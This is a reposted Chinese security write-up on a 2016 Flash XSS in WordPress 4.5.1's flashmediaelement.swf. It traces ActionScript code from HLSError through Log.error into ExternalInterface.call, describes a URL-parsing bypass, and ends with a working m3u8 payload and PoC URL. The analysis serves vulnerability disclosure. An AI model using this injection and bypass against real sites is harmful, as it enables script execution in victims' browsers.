转载

WordPress 4.5.1 XSS

一般来说, 开源CMS所使用的Flash文件也都来自其他的开源项目, 所以直接获取WordPress所使用的SWF文件的actionscript源码并不是一件困难的事情. 以本次漏洞的目标文件 wp-includes/js/mediaelement/flashmediaelement.swf 为例, 通过查看Github上与这个文件相关的最新的 commit , 可以发现flashmediaelement.swf来自于一个开源项目 MediaElement , 版本号为 2.18.1 . 恰好, 这个开源项目也托管在Github上, 那么直接下载它对应版本的 Release . 同时, 在对MediaElement的源码目录初步研究后发现, 该项目也引用了另外一个开源项目 flashls 的swc文件, 还贴心低注释了版本号为 4.3.4 , 该swc文件对应版本的源码同样也可以在Github上找到 Release . 这样的好处一是可以避免反编译过程中本地变量名混淆/代码块失踪的尴尬, 二是可以通过手动添加debug信息再本机编译, 更快地消化代码分支结构及数据流.

Vulnerable Output

首先来看存在漏洞的输出, 99%的Flash XSS都是由于 ExternalInterface.call 函数的参数注入导致的, 当然本次也不例外. 拿到源码之后, 第一件事就是看看源码中出现了几次调用 ExternalInterface.call , 对应的参数是否都是可控的. 在排除了几个参数不可控或者已经做了对应防注入的调用, 唯一剩下的就是下面的代码.

org.mangui.hls.utils.Log
public class Log {
private static const LEVEL_INFO : String = "INFO:";
private static const LEVEL_DEBUG : String = "DEBUG:";
private static const LEVEL_WARN : String = "WARN:";
private static const LEVEL_ERROR : String = "ERROR:";

public static function info(message : *) : void {
if (HLSSettings.logInfo)
outputlog(LEVEL_INFO, String(message));
};

public static function debug(message : *) : void {
if (HLSSettings.logDebug)
outputlog(LEVEL_DEBUG, String(message));
};

public static function debug2(message : *) : void {
if (HLSSettings.logDebug2)
outputlog(LEVEL_DEBUG, String(message));
};

public static function warn(message : *) : void {
if (HLSSettings.logWarn)
outputlog(LEVEL_WARN, String(message));
};

public static function error(message : *) : void {
if (HLSSettings.logError)
outputlog(LEVEL_ERROR, String(message));
};

/** Log a message to the console. **/
private static function outputlog(level : String, message : String) : void {
if (ExternalInterface.available)
ExternalInterface.call('console.log', level + message);
else trace(level + message);
}
};

只要攻击者能够控制传入Log类下5个静态方法的参数, 就可以触发XSS. 在默认的HLSSettings里面(同时也是WordPress里flashmediaelement.swf的设置), 只有 logInfo / logError / logWarn 这三个属性被设置为true, 所以我们着重跟踪Log.info/Log.warn/Log.error这三个方法.

通过跟踪代码发现, HLS类中的dispatchEvent方法调用了Log.error这个方法, 传入的参数是HLSEvent类的error属性.

org.mangui.hls.HLS
/** Forward internal errors. **/
override public function dispatchEvent(event : Event) : Boolean {
if (event.type == HLSEvent.ERROR) {
CONFIG::LOGGING {
Log.error((event as HLSEvent).error);
}
_hlsNetStream.close();
}
return super.dispatchEvent(event);
};

继续查看HLSEvent类中error属性的定义

org.mangui.hls.event.HLSEvent
public class HLSEvent extends Event {
/* ... */
/** The error message. **/
public var error : HLSError;
/* ... */

/** Assign event parameter and dispatch. **/
public function HLSEvent(type : String, parameter : *=null) {
switch(type) {
/* ... */
case HLSEvent.ERROR:
error = parameter as HLSError;
break;
/* ... */
}
super(type, false, false);
};
}

继续看HLSError的定义

org.mangui.hls.event.HLSError
public class HLSError {
public static const OTHER_ERROR : int = 0;
public static const MANIFEST_LOADING_CROSSDOMAIN_ERROR : int = 1;
public static const MANIFEST_LOADING_IO_ERROR : int = 2;
public static const MANIFEST_PARSING_ERROR : int = 3;
public static const FRAGMENT_LOADING_CROSSDOMAIN_ERROR : int = 4;
public static const FRAGMENT_LOADING_ERROR : int = 5;
public static const FRAGMENT_PARSING_ERROR : int = 6;
public static const KEY_LOADING_CROSSDOMAIN_ERROR : int = 7;
public static const KEY_LOADING_ERROR : int = 8;
public static const KEY_PARSING_ERROR : int = 9;
public static const TAG_APPENDING_ERROR : int = 10;

private var _code : int;
private var _url : String;
private var _msg : String;

public function HLSError(code : int, url : String, msg : String) {
_code = code;
_url = url;
_msg = msg;
}

public function get code() : int {
return _code;
}

public function get msg() : String {
return _msg;
}

public function get url() : String {
return _url;
}

public function toString() : String {
return "HLSError(code/url/msg)=" + _code + "/" + _url + "/" + _msg;
}
}

toString 的方法会将HLSError类中的 _code / _url / _msg 三个属性输出, 这三个参数均是通过构造函数从外部传入, 并通过变量名来推测, 很有可能是攻击者可控的.

我们再缕一遍XSS攻击中可能的数据流.

攻击者控制的部分参数传入HLSError的构造函数的 url / msg 参数, 生成一个恶意的HLSError对象 a , 这个恶意对象 a 又作为 parameter 参数传入了HLSEvent的构造函数, 生成一个恶意的HLSEvent对象 b , 最后, 恶意对象 b 作为 event 参数被传入dispatchEvent函数, 进入Log.error时被隐式转换为字符串类型, 触发了toString方法, 对应的返回值传入了ExternalInterface.call函数, 导致XSS.

Evil Input

再回过头来看看输入端. flashmediaelement.swf对外部的输入有两层防御. 第一层, 它会检查所有的参数是否包含恶意字符, 如果包含, 则直接返回终止执行; 第二层, 它会检查外部传入的参数是否是在URL中的QueryString出现过, 如果是, 则删除该部分, 避免直接通过URL传参.

FlashMediaElement
public class FlashMediaElement extends MovieClip {

public function FlashMediaElement() {
// 第一层, 检查参数是否包含非法字符
checkFlashVars(loaderInfo.parameters);

if (securityIssue) {
return;
}

// 第二层, 忽略所有从URL中传入的参数
var params:Object, pos:int, query:Object;
params = LoaderInfo(this.root.loaderInfo).parameters;
pos = root.loaderInfo.url.indexOf('?');
if (pos !== -1) {
query = parseStr(root.loaderInfo.url.substr(pos + 1));

for (var key:String in params) {
if (query.hasOwnProperty(trim(key))) {
delete params[key];
}
}
}
/* ... */
}

/* ... */
private function checkFlashVars(p:Object):void {
var i:Number = 0;
for (var s:String in p) {
if (isIllegalChar(p[s], s === 'file')) {
securityIssue = true; // Illegal char found
}
i++;
}
if(i === 0 || securityIssue) {
directAccess = true;
}
}

/* ... */
private function isIllegalChar(s:String, isUrl:Boolean):Boolean {
var illegals:String = "' /" ( ) { } * + // < >";
if(isUrl) {
illegals = "/" { } // < >";
}
if(Boolean(s)) { // Otherwise exception if parameter null.
for each (var illegal:String in illegals.split(' ')) {
if(s.indexOf(illegal) >= 0) {
return true; // Illegal char found
}
}
}
return false;
}

/* ... */
private static function parseStr (str:String) : Object {
var hash:Object = {},
arr1:Array, arr2:Array;

str = unescape(str).replace(//+/g, " ");

arr1 = str.split('&');
if (!arr1.length) {
return {};
}

for (var i:uint = 0, length:uint = arr1.length; i < length; i++) {
arr2 = arr1[i].split('=');
if (!arr2.length) {
continue;
}
hash[trim(arr2[0])] = trim(arr2[1]);
}
return hash;
}
}

对于第二层防止直接从URL传参的防御, 可以利用Flash Player对URL参数的解析和flashmediaelement.swf代码中对URL参数的解析的差异进行绕过. Flash Player会丢弃URL里%后非16进制的字符, 所以 a.swf?a%s=b 对于Flash Player来说是给a赋值b, 但对于flashmediaelement.swf中的代码逻辑而言, 是给a%s赋值b, 这样就可以利用两者的不一致性绕过这一检测. 但对于第一层的检测, 目前没有更好的办法进行绕过, 只能查看flashmediaelement.swf是否会通过读取传入的URL中的内容, 给目标参数赋值, 如果可以的话, 那么我们就可以通过污染URL的内容, 而不是URL本身, 执行参数注入, 达到绕过第一层检测的目的.

通过上述的分析, 查找所有调用dispatchEvent函数的地方, 分析其传入的参数, 发现如下:

org.mangui.hls.loader.FragmentLoader
private function _fragLoadErrorHandler(event : ErrorEvent) : void {
if (event is SecurityErrorEvent) {
var txt : String = "Cannot load fragment: crossdomain access denied:" + event.text;
var hlsError : HLSError = new HLSError(HLSError.FRAGMENT_LOADING_CROSSDOMAIN_ERROR, _frag_current.url, txt);
_hls.dispatchEvent(new HLSEvent(HLSEvent.ERROR, hlsError));
} else {
_fraghandleIOError("HTTP status:" + _frag_load_status + ",msg:" + event.text);
}
};

上述代码是加载fragment时的一个处理错误的handler, 当加载的fragment为一外域的资源, 且该域的crossdomain.xml不允许swf所在域与其通信时, 会抛出一个hlsError的实例, 其中的参数就包含试图加载的fragment的url. 通过查询M3U8的文件格式, 我们可以通过文件内容指定加载的fragment的URL.

exp.m3u8
#EXTM3U
#EXT-X-TARGETDURATION:10
#EXTINF:10,
http://www.baidu.com/a.ts/")+alert(2))}catch(e){}//

PoC: flashmediaelement.swf?jsinitfu%xnction=console.log&isvi%xdeo=true&auto%xplay=true&fi%xle=http://midzer0.github.io/2016/wordpress-4.5.1-xss/exp.m3u8

Timeline

  • 2016/04/26 发现漏洞
  • 2016/05/09 发现已被修复

本次修复相关 Commit , mediaelement的开发者简单粗暴地直接禁止了任何通过queryString传参的办法, 但引起本次漏洞的根源– flashls 组件中的问题依然 存在 .

原文  https://midzer0.github.io/2016/wordpress-4.5.1-xss/
正文到此结束
Loading...